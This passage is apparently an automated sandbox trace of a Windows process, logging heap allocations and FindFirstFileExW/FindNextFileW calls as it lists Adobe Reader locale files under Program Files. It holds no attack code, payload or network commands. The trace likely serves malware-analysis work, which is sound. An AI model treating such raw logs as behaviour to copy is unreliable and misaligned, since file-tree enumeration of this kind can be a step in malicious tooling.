ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1f200, dwReserved0=0x0, dwReserved1=0x0, cFileName="DigSig.HRV", cAlternateFileName="")) returned 1 [0082.024] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c7c0 [0082.024] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c7c0) returned 1 [0082.024] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c7c0 [0082.024] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c7c0) returned 1 [0082.024] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c7c0 [0082.024] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x125a7e8 [0082.025] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x127c448 [0082.025] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c7c0) returned 1 [0082.025] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x83255f00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x4800, dwReserved0=0x0, dwReserved1=0x0, cFileName="DVA.HRV", cAlternateFileName="")) returned 1 [0082.025] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c7c0 [0082.025] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c7c0) returned 1 [0082.025] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c7c0 [0082.026] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c7c0) returned 1 [0082.026] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c7c0 [0082.026] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x125a808 [0082.026] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x127c550 [0082.026] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c7c0) returned 1 [0082.026] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x8327c060, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="eBook.HRV", cAlternateFileName="")) returned 1 [0082.026] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c7c0 [0082.027] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c7c0) returned 1 [0082.027] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c7c0 [0082.027] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c7c0) returned 1 [0082.027] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c7c0 [0082.027] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x125a828 [0082.027] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x127c658 [0082.028] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c7c0) returned 1 [0082.028] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x83255f00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa200, dwReserved0=0x0, dwReserved1=0x0, cFileName="EScript.HRV", cAlternateFileName="")) returned 1 [0082.028] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c7c0 [0082.028] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c7c0) returned 1 [0082.028] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c7c0 [0082.028] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c7c0) returned 1 [0082.028] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c7c0 [0082.029] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x125a848 [0082.029] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x127c760 [0082.029] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c7c0) returned 1 [0082.029] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x83255f00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="IA32.HRV", cAlternateFileName="")) returned 1 [0082.029] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c7c0 [0082.030] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c7c0) returned 1 [0082.030] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c7c0 [0082.030] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c7c0) returned 1 [0082.030] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c7c0 [0082.030] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x125a868 [0082.030] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x127c868 [0082.031] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c7c0) returned 1 [0082.031] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7db4daa0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x12600, dwReserved0=0x0, dwReserved1=0x0, cFileName="MakeAccessible.HRV", cAlternateFileName="")) returned 1 [0082.031] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c7c0 [0082.031] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c7c0) returned 1 [0082.031] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c7c0 [0082.031] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c7c0) returned 1 [0082.031] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c7c0 [0082.032] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x125a888 [0082.032] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x127c970 [0082.032] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c7c0) returned 1 [0082.032] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d7e1b00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x13c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="Multimedia.HRV", cAlternateFileName="")) returned 1 [0082.032] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c7c0 [0082.033] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c7c0) returned 1 [0082.033] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c7c0 [0082.033] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c7c0) returned 1 [0082.033] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c7c0 [0082.033] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x125a8a8 [0082.033] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x127ca78 [0082.034] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c7c0) returned 1 [0082.034] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7db27940, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="PDDom.HRV", cAlternateFileName="")) returned 1 [0082.034] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c7c0 [0082.034] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c7c0) returned 1 [0082.034] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c7c0 [0082.034] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c7c0) returned 1 [0082.034] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c7c0 [0082.035] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x125a8c8 [0082.035] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x127cb80 [0082.035] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c7c0) returned 1 [0082.035] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x83255f00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x7e400, dwReserved0=0x0, dwReserved1=0x0, cFileName="PPKLITE.HRV", cAlternateFileName="")) returned 1 [0082.035] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c7c0 [0082.035] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c7c0) returned 1 [0082.035] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c7c0 [0082.036] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c7c0) returned 1 [0082.036] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c7c0 [0082.036] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x125a8e8 [0082.036] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x127cc88 [0082.036] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c7c0) returned 1 [0082.036] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x807ef720, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x14a200, dwReserved0=0x0, dwReserved1=0x0, cFileName="RdLang32.HRV", cAlternateFileName="")) returned 1 [0082.036] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c7c0 [0082.037] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c7c0) returned 1 [0082.037] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c7c0 [0082.037] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c7c0) returned 1 [0082.037] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c7c0 [0082.037] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x125a908 [0082.038] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x127cd90 [0082.038] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c7c0) returned 1 [0082.038] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x832a21c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="ReadOutLoud.HRV", cAlternateFileName="")) returned 1 [0082.038] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c7c0 [0082.038] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c7c0) returned 1 [0082.038] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c7c0 [0082.039] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c7c0) returned 1 [0082.039] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c7c0 [0082.039] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7db017e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1200, dwReserved0=0x0, dwReserved1=0x0, cFileName="Reflow.HRV", cAlternateFileName="")) returned 1 [0082.039] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7dadb680, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x4a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="SaveAsRTF.HRV", cAlternateFileName="")) returned 1 [0082.039] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x83255f00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x5c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="Search.HRV", cAlternateFileName="")) returned 1 [0082.039] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x83255f00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x3c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="SendMail.HRV", cAlternateFileName="")) returned 1 [0082.039] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f71060, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81fbd320, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81fbd320, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Services", cAlternateFileName="")) returned 1 [0082.039] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7e0106a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2800, dwReserved0=0x0, dwReserved1=0x0, cFileName="Spelling.HRV", cAlternateFileName="")) returned 1 [0082.039] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f5309e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2800, dwReserved0=0x0, dwReserved1=0x0, cFileName="Updater.HRV", cAlternateFileName="")) returned 1 [0082.039] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x83255f00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x6e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="Weblink.HRV", cAlternateFileName="")) returned 1 [0082.040] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x83255f00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x6e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="Weblink.HRV", cAlternateFileName="")) returned 0 [0082.040] GetLastError () returned 0x12 [0082.040] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\hr_HR\\*", fInfoLevelId=0x1, lpFindFileData=0x119e9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e9e4) returned 0x2e8f80 [0082.040] FindClose (in: hFindFile=0x2e9100 | out: hFindFile=0x2e9100) returned 1 [0082.040] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d7bb9a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x832ee480, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x832ee480, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0082.040] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7db73c00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xac00, dwReserved0=0x0, dwReserved1=0x0, cFileName="Accessibility.HRV", cAlternateFileName="")) returned 1 [0082.040] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x8322fda0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x66600, dwReserved0=0x0, dwReserved1=0x0, cFileName="Acroform.HRV", cAlternateFileName="")) returned 1 [0082.040] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81d35bc0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="AdobeCollabSync.HRV", cAlternateFileName="")) returned 1 [0082.040] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x832ee480, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x76e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="Annots.HRV", cAlternateFileName="")) returned 1 [0082.040] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x820558a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x3600, dwReserved0=0x0, dwReserved1=0x0, cFileName="BRdlang32.HRV", cAlternateFileName="")) returned 1 [0082.040] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x8322fda0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1ea00, dwReserved0=0x0, dwReserved1=0x0, cFileName="Checkers.HRV", cAlternateFileName="")) returned 1 [0082.040] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x8322fda0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1f200, dwReserved0=0x0, dwReserved1=0x0, cFileName="DigSig.HRV", cAlternateFileName="")) returned 1 [0082.040] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x83255f00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x4800, dwReserved0=0x0, dwReserved1=0x0, cFileName="DVA.HRV", cAlternateFileName="")) returned 1 [0082.040] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x8327c060, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="eBook.HRV", cAlternateFileName="")) returned 1 [0082.040] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x83255f00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa200, dwReserved0=0x0, dwReserved1=0x0, cFileName="EScript.HRV", cAlternateFileName="")) returned 1 [0082.040] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x83255f00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="IA32.HRV", cAlternateFileName="")) returned 1 [0082.040] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, 